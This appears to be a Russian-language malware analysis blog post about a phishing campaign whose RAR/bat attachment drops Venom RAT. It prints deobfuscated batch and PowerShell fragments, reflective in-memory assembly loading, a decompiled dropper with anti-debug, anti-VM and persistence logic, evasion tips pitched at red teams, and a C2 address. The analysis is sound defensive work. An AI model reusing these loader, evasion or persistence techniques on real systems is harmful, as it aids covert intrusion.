Анализ фишинга с Venom RAT

Вводная.

В начале апреля в организации в Российско Федерации (и не только) пришли письма от неизвестного отправителя. В содержимом письма, кроме пожелания хорошего дня и просьбой ответить «скорее», находился RAR архив, а внутри архива *.bat файл.

a7a32b6c8ea7a7e62f2bcdfe7a7c177b.png

После проверки содержимого в песочнице были предоставлены некоторые артефакты, указывая, что в письме явно содержится что-то подозрительное, но определить наверняка, вредонос это или нет СЗИ не удалось.

Зато были указаны некоторые составляющие bat файла: обфусцированные строки PowerShell.

aa63c1bda2c4a456e26f09cc05d3133d.JPG

Этого было достаточно чтобы начать анализ содержимого, найти IoC«и, и посмотреть на наличие таковых в трафике от организации.

Анализ вложения.

Как уже было отмечено, в архиве находился bat-файл.

Внутри обфусцированные функции и зашифрованные payloads, но об этом по порядку.

Содержимое bat-файла часть 1 (пейлоад отредактирован)

Содержимое bat-файла часть 1 (пейлоад отредактирован)

Содержимое bat-файла часть 2 (обфусцированный PowerShell).

Содержимое bat-файла часть 2 (обфусцированный PowerShell).

Деобфускация содержимого.

В первой части bat скрипта объявляются необходимые переменные в обфусцированном виде

set "dnRHZ3NQ=set R1NCSw===1 && start "" /min "
set "UFVTQVZB=&& exit"
set "eUxyZUdk=not defined R1NCSw==if %eUxyZUdk:=% (%dnRHZ3NQ:=%%0 %UFVTQVZB:=%)


Далее идут 2 зашифрованных с помощью AES CBC пейлоада, которые распологаюатся в комментариях (в batch '::')

Переменные первой части не слишком о много говорят, поэтому возьмемся за вторую часть. Для деобфускации второй части содержимого .bat файла несколько изменим его. Верхнеуровнево изучив 2-ю часть скрипта, можно заметить:
1. Переменной d2NKb09D присваивается обфусцированная строка:  
set «d2NKb09D=WxNzdnindxNzdnowxNzdnsPxNzdnowxNzdnerSxNzdnhxNzdnelxNzdnl\xNzdnvxNzdn1.xNzdn0\pxNzdnowxNzdnersxNzdnhexNzdnllxNzdn.exNzdnxexNzdn»
2. После чего, строка деобфусцируется путём замены сочетания «xNzdn» на пустое значение » и добавляется к пути C:\Windows\System32\, полученное содержимое помещается в переменную T1BHZ0FQ, которая выполняет обфусцированный код через pipe (номер 2 на рисунке ниже).
3. На следующем шаге в переменную dFFKVXdT добавляется обфусцированный код, с помощью команды echo выводится (номер 1 на рисунке ниже) и передается через pipe переменной 2.

43e59b1a7f436edcb13172db092b557c.png

Процесс обфускации кода мы уже знаем, посмотрим на деобфусцированный код. Для этого на изолированной виртуальной машине в cmd.exe мы его деобфусцируем:

1.  Сначала разберемся, какой конечный путь содержит переменная из пункта 2. Объявим переменную и выполним деобфускацию:

dc2decefebeceff861abaa45cb32f2e3.png

В результате получаем C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe. Теперь мы знаем, что обфусцированный код передается через pipe в powershell.exe, деобфусцируем его.

2. Для этого аналогично первому этапу объявим переменные eEZvRHFu, dFFKVXdT и их содержимое, после чего уберем часть строки.

39cb5226441ee168c95220aadab83c56.png

$host.UI.RawUI.WindowTitle  — позволяет изменить название консоли (в нашем случае открывается консоль PowerShell, в которой выполняется деобфусцированный код), название консоли может любым, атакующие на данном этапе записывают в название наименование выполняемого bat-скрипта, чтобы в дальнейшем этим воспользоваться (в коде сценария PowerShell) — один из трюков для обращения по имени файла, из которого будет считываться нагрузка из PowerShell сценария. (RedTeam на заметку)

Настало время деобфусцировать код сценария PowerShell:

7df836c0e8c5c5d8be9536b5757f6270.jpeg

Сценарий у нас есть, давайте взглянем подробнее на содержимое:  

afc1e799ea9f5190b71a4d83aacc94fa.png

В сценарии используется обфускация строк, чтобы обойти средства статического анализа перед исполнением кода.
Переменная $fEla содержит обфусцированный массив командлетов, которые используются в функциях PiXdA & CaenE и извлекаются по номеру элемента массива. (Red Team«у на заметку), такой способ также позволяет обойти триггеры AV & EDR, т.к. переменные извлекаются непосредственно в памяти и не сохраняются в открытом виде, в журнале событий (Event ID 4104) . Деобфусцируем и взглянем на содержимое переменной:

65a39d5a452342e4aef6c02d781bdfad.png

Деобфусцируем и взглянем на содержимое массива $fEla:

b3a5307d77c7dd7d16c135da8dfbe513.png

Оригинальный код, после приведення его к читаемому виду будет выглядеть так:

83e3072491841937ed10da21c949b279.png

Теперь по порядку о том, что происходит в сценарии. Сценарий отрабатывает в скрытом окне, где происходит считывание содержимого открытого batch скрипта в переменную $QEoyB (24 строка),  после чего с использованием методов Substring и ElementAt извлекается содержимое первой и второй нагрузки, далее декодируется из Base64 и с помощью функции PiXdA расшифровывается (Алгоритм AES 256 Bit, ключ и вектор в коде). После чего, расшифрованное содержимое проходит декомпрессию (функция CaenE) и записывается в переменные:  $Mnpxl и $RtlUk (25 и 26 строки). 
На следующем этапе содержимое (массив байтов) загружается в память процесса запущенного PowerShell и выполняется (строки 28 и 29):

[System.Reflection.Assembly]::Load([byte[]]$RtlUk).EntryPoint.Invoke($null,$null);
[System.Reflection.Assembly]::Load([byte[]]$Mnpxl).EntryPoint.Invoke($null,$null);

Загрузка и выполнение в памяти через namespace System.Reflection.Assembly возможна для сборок c .NET Framework. Что говорит о языке, на котором написаны библиотеки $RtlUk и $Mnpxl.

Для дальнейшего исследования загружаемой в память полезной нагрузки, мы несколько изменим сценарий PowerShell:

  1. Закомментируем строки «powershell -w hidden», а также строки загрузки и выполнения в памяти загруженной сборки (комментируем строки 3, 31, 32 на рисунке ниже).

  2. Чтобы без ошибок считать нагрузку из bat файла, мы укажем полный путь файла (в оригинале она считывается с использованием [System.IO.File]:: ReadLines ([Console]:: Title), где [Console]:: Title возвращает нам название запущенного ранее bat файла, т.к. перед этим наименование было помещено в новую созданную консоль через $host.UI.RawUI.WindowTitle = %˜0).

  3.  Теперь, для дальнейшего анализа, нам необходимо записать расшифрованную нагрузку на диск. Для этого в методом WriteAllBytes,  библиотек System.IO.File.

В конечном итоге, сценарий будет выглядеть так:

626a975e83515e066b91d3b383282849.png

В результате выполнения изменённого нами сценария, мы получаем нагрузку на диске в виде двух файлов. Теперь эту нагрузку можно изучить подробнее.

a55b36737e1e449be160a888e5d883c2.png

Как мы уже предположили файлы представляют собой сборки на C#. Но чтобы убедиться в этом наверняка, воспользуемся утилитой DetectItEasy.

f94cbaa4a9257d63d35ef8c3a7333a72.pngbf912fd4da05d6722f33fdc1ad48d0a9.png

Первый файл скомпилирован с использованием пакера VMProtect, который затрудняет статический анализ кода и исходный код которого, аж дважды попадал в открытый доступ в 2023 году. (за использованием его в качестве инструмента защиты кода, были замечены небезизвестные Lazarus, APT31, Rorschach, Darkside и другие хак-группировки)

Оба файла, как мы предполагали на этапе анализа PowerShell, написаны с использованием .NET Framework, значит мы можем попробовать их декомпилировать и разобраться, какая же все-таки нагрузка выполняется. Для декомпиляции, а также деобфускации и распаковки кода, можно воспользоваться несколькими инструментами:

  • DnSpy — debugger and .NET assembly editor. Хоть проект уже несколько лет находится в архиве, тем не менее функционал свой выполняет. https://github.com/dnSpy/dnSpy

  • DnSpyEx — пришедший на смену предыдущему проект, который поддерживается коммьюнити по сей день. https://github.com/dnSpyEx/dnSpy (им мы и будем пользоваться)

  • De4dot — deobfuscator and unpacker, является одним из самых популярных инструментов для распаковки и/или деобфускации кода. https://github.com/de4dot/de4dot.

  • .NET Reactor Slayer — еще один deobfuscator and unpacker, в некоторых случаях показывает себя лучше, чем de4dot. https://github.com/SychicBoy/NETReactorSlayer

Файл RtlUk — Известный как ScrubBypass, который позволяет обойти ASMI и ETW, другого функционала он не несет.

bdac3db1e94ae0fc3dc2d4a1bf326ed8.png

Загрузим второй файл, сборку Mnpxl, в декомпилятор dnSpy, код не имеет обфускации и не запакован, поэтому хорошо читается. В глаза сразу бросается наличие ресурсов в сборке. Часто в ресурсах содержатся доп. нагрузки, а в случае с RemoteAccessTool различные модули (кейлоггеры и другие). С ресурсами разберемся чуть позже.

15d405fef31f7d0b539fe9838c6af84d.png

Не меньше интереса вызывают функции CheckRemoteDebuggerPresent, IsDebuggerPresent — проверяют наличие отладки исполняемого файла во время запуска.

8bc8c40b15d3f2f0bfdc4cc6da8a169e.png

Взглянем подробнее на функцию main ().

private static void Main()
		{
			Process currentProcess = Process.GetCurrentProcess();
			string title = Console.Title;
			using (WindowsIdentity current = WindowsIdentity.GetCurrent())
			{
				CLASS.IsAdmin = new WindowsPrincipal(current).IsInRole(WindowsBuiltInRole.Administrator);
			}
			bool flag = false;
			CLASS.CheckRemoteDebuggerPresent(currentProcess.Handle, ref flag);
			if (Debugger.IsAttached || flag || CLASS.IsDebuggerPresent())
			{
				Environment.Exit(0);
			}
			using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
			{
				ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
				foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
				{
					string text = managementBaseObject["Manufacturer"].ToString().ToLower();
					if ((text == "microsoft corporation" && managementBaseObject["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) || text.Contains("vmware") || managementBaseObject["Model"].ToString() == "VirtualBox")
					{
						Environment.Exit(0);
					}
				}
			}
			if (!CLASS.IsStartup(Path.ChangeExtension(title, null)))
			{
				CLASS.InstallStartup(title);
			}
			byte[] rawAssembly = CLASS.Uncompress(CLASS.GetEmbeddedResource("P"));
			MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
			try
			{
				entryPoint.Invoke(null, new object[]
				{
					new string[0]
				});
			}
			catch
			{
				entryPoint.Invoke(null, null);
			}
		}

После проверки наличия роли Администратора у пользователя из под которого процесс был запущен, проверяется наличие отладки исполняемого файла, следующим этапом малварь проверяет, что запущена не на виртуальной машине. В случае отрицательного результата, малварь завершает свою работу. Если результат положительный и пользователь входит в группу Администраторы, малварь закрепляется, копируя себя в 
директорию %APPDATA%\strt.cmd и создавая задачу OneNote 58405 через powershell (Base64 «cG93ZXJzaGVsbC5leGU=» --> powershell.exe). Задача выполняется после входа пользователя в систему и запускают файл дроппера strt.cmd.

3a2a0b4ec16f8aa28a0c398fb76852f1.png

Если у пользователя отсутствуют привилегии администратора, strt.cmd перемещается в директорию пользователя startup (для автозапуска)

Наличие strt.cmd в представленных директориях, а также создание задачи OneNote 58405 — всё это индикаторы компрометации, которые можно найти например на SIEM или средствах защиты класса HIPS (EDR и.т.д) после компрометации. Но мы продолжим изучать нагрузку.

Вернемся к функции main. После описанных проверок, из упомянутого ранее ресурса » извлекается содержимое, декомпрессируется, загружается в память, после чего выполняется. Чтобы изучить содержимое подробнее, запишем его на диск. Для этого, отредактируем код класса, закомментируем проверку наличия отладчика и запуска в виртуальный среде (т.к. именно здесь мы изучаем малварь), а также запуск загруженной в память нагрузки:

MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint;
try
  {
	entryPoint.Invoke(null, new object[]
  {
	new string[0]
		});
  }
    catch
   {
 entryPoint.Invoke(null, null);
			}

Вместо этого запишем нагрузку на диск:

9076d150b87177f545882a0468311cf7.png

Компилируем и запускаем, в результате получим нагрузку:

056f171a112dce34210a164e65c06729.png

Файл представляет собой сборку .NET Framework, поэтому его можно загрузить в dnSpy и декомпилировать.

60e12179373cae77436ca12ad5c00eba.png

Содержимое этого файла — массив сырых байтов, которые загружаются (уже знакомым нам методом) и исполняются, точнее запускается отдельный метод класса. Если коротко, то это еще один дроппер.


Установив точку останова, мы можем сохранить содержимое переменной, назовем файл raw_raw_trojan (не будем заморачиваться с названием). Загрузим его в DetectItEasy:

9ab09b834348ee05827c43ea1e555b73.png

Файл также является сборкой .NET Framework и содержит протектор .NET Reactor, загрузим его в dnSpy.

dbd2aa56055c3ec348b3f78c5ae032ea.png

Чтобы упростить развертывание и уменьшить размер файла, малварь использует Fody.Costura. Такое встраивание уже наблюдалось в RAT в январе 2024 года специалистами.
Снятие протектора с использованием de4dot не принесло должного результата, однако использование .NET Reactor Slayer позволило привести код к более читаемому виду.

481e6ef16240499447dfb3004131057f.png

Из интересного: троян также имеет проверку среды, в которой он запускается

ca8a2308cbae7d53a2521d37e64bff7f.png

Кроме того, в одном из классов был найден IP-адрес С2 сервера, с которым троян пытается установить соединение после запуска.

4766c90e5c36086da29d1e7b946bf44b.png79c99c34f3a337fd6fff58b0aaca1ffd.png


Этот же адрес можно заметить в сетевом графике при динамическом анализе 93.123.39.147:5888.

dd2f743825a6e25d959307e5c4da4764.png

На момент анализа в VT данного IP 04.04 в день фишинга, сработок было относительно немного (около 5), на сегодня 21.04 сработок прибавилось, но все еще немного, что говорит о том, что сервер довольно свежий. Данного IP уже использовался для С2 STRRAT.

7ea513edcaf6d99bca2494374ced3734.png

В ресурсах (5 шт) вредоноса содержатся модули (кейлоггер и другие), которые путём хитрого преобразования извлекаются и с использованием WinAPI функций + GetDelegateForFuntionPointer инжектятся в память процессов.
Из интересного функционала трояна — загрузка браузера Tor на хост жертвы, для выстраивания взаимодействия через сеть tor.

79ac5af170cbc80f9dc2e6f3d1b0fc74.png

Извлекать и писать декодер для 5 ресурсов я не стал. Ограничившись индикаторами компрометации, которые удалось обнаружить в ходе анализа.

Заключение.

Такие интересные сэмплы удалось изучить в начале апреля. Более глубокий анализ (анализ модулей) подобной малвари провела команда Fortinet. После анализа, можно сделать вывод, что атакующие чаще используют безфайловые атаки, различные техники обфускации, anti-Dbg/anti-Sandbox техники, чтобы успешно провести атаку, обойти средства защиты и закрепиться в системе. Надеюсь этот материал будет полезен и в дальнейшем поможет при изучении схожей нагрузки.

© Habrahabr.ru